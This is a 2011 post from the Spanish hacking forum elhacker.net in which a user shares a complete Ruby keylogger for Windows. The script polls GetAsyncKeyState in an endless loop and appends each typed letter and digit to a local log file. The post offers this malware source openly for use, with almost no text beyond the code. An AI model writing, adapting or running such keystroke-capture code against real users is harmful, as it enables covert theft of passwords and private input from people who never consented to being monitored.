elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Estamos en la red social de Mastodon


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Ruby] Simple Keylogger
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Ruby] Simple Keylogger  (Leído 3,830 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Ruby] Simple Keylogger
« en: 7 Octubre 2011, 01:30 am »

Un simple keylogger en Ruby


Código
  1. #!usr/bin/ruby
  2. #Simple Keylogger in Ruby
  3. #(C) Doddy Hackman 2011
  4.  
  5. require 'Win32API'
  6.  
  7. def savefile(filename,text)
  8. files = File.open(filename,'a')
  9. files.puts text+"\n"
  10. end
  11.  
  12. def capturar
  13.  
  14. nave = Win32API.new("user32","GetAsyncKeyState",["i"],"i")
  15.  
  16. while 1
  17.  
  18. for num1 in (0x30..0x39) #numbers
  19. if nave.call(num1) & 0x01 == 1
  20. savefile("logs.txt",num1.chr())
  21. end
  22. end
  23.  
  24. for num2 in (0x41..0x5A) #letters
  25. if nave.call(num2) & 0x01 == 1
  26. savefile("logs.txt",num2.chr())
  27. end
  28. end
  29. end
  30. end
  31.  
  32. capturar() #Start the keylogger
  33.  
  34. # ¿ The End ?
  35.  


« Última modificación: 8 Octubre 2011, 19:02 pm por Doddy » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Python] Simple Keylogger
Scripting
BigBear 0 4,052 Último mensaje 7 Octubre 2011, 01:38 am
por BigBear
Necesito keylogger simple, compatible win7 y freeware
Dudas Generales
frankener1986 1 2,619 Último mensaje 14 Noviembre 2012, 17:15 pm
por Stakewinner00
Keylogger simple para windows 7
Software
Crazy 6 2,043 Último mensaje 21 Agosto 2013, 16:41 pm
por Crazy
Duda con código simple (creo) en Ruby.
Scripting
Saito_25 2 2,209 Último mensaje 28 Marzo 2015, 20:18 pm
por Saito_25
MOVIDO: Duda con código simple (creo) en Ruby.
Programación General
Eleкtro 0 1,430 Último mensaje 29 Marzo 2015, 10:18 am
por Eleкtro
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines